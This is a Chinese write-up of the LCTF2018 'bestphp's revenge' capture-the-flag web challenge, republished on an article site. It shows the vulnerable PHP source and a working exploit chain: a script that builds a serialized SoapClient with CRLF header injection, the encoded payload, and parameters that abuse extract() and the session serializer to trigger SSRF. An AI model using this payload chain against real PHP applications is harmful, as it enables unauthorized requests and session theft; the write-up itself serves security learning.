目录

bestphp‘s revenge

bestphp's revenge

知识点

php session反序列化

解题

php 复制代码
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);  //参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}   //存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
//reset($_session)将数组的内部指针指向第一个单元,返回第一个session的值
call_user_func($b, $a);
?>
array(0) { }
 
 
//flag.php  (扫目录扫到的)
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

构造:

php 复制代码
<?php
//$url = "http://127.0.0.1/flag.php";
//$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
//$a = serialize($b);
//$a = str_replace('^^', "\r\n", $a);
//echo "|" . urlencode($a);
//
 
 
$target = 'http://127.0.0.1/flag.php';
$b = new SoapClient(null, array('location' => $target,
    'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车
    'uri' => "http://127.0.0.1/"));
 
$se = serialize($b);
echo "|" . urlencode($se);

得到:

复制代码
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

外链图片转存中...(img-MVOphdGZ-1734773759164)

将其模式换为php_serialize,然后序列化传入name

第二步,改成默认php,然后触发soapclient中的__call魔术方法传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func( b , b, b,a)就变成call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018')) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

用到了变量覆盖把b改为了call_user_func,这样数组第一个就是类名,第二个是welcome方法不存在调用_call,然后传入name=SoapClient,这样

a = a r r a y ( r e s e t ( a = array(reset( a=array(reset(_SESSION), 'welcome_to_the_lctf2018');前面就是SoapClient值了

外链图片转存中...(img-152LvvGX-1734773759165)

最后把PHPSESSID换成,我们一开始代码中的123456即可

外链图片转存中...(img-dFAuCzWq-1734773759166)

本文是转载文章,点击查看原文
如有侵权,请联系 xyy@jishuzhan.net 删除
相关推荐
虾球xz3 小时前
游戏引擎学习第209天
学习·游戏引擎
白山云北诗6 小时前
网络安全小知识课堂(十一)
安全·web安全
丘陵哈哈9 小时前
Docker学习笔记
笔记·学习·docker
FAREWELL000759 小时前
C#核心学习(十二)面向对象--多态(1)virtual override和base三剑客
学习·c#·多态·面向对象·oop·虚方法表
白山云北诗10 小时前
网络安全小知识课堂(六)
网络·安全·web安全
白山云北诗10 小时前
网络安全小知识课堂(七)
安全·web安全
神经毒素10 小时前
WEB安全--内网渗透--Kerberos之AS_REQ&AS_REP
安全·web安全·内网渗透·kerbreos
XYN6111 小时前
【嵌入式学习3】UDP发送端、接收端
网络·笔记·python·网络协议·学习·udp
麻芝汤圆11 小时前
Linux操作系统的计算机体系结构与网络安全的深度关联
大数据·linux·运维·服务器·网络·安全·web安全
tianyukun022311 小时前
MATLAB学习笔记(二) 控制工程会用到的
笔记·学习·matlab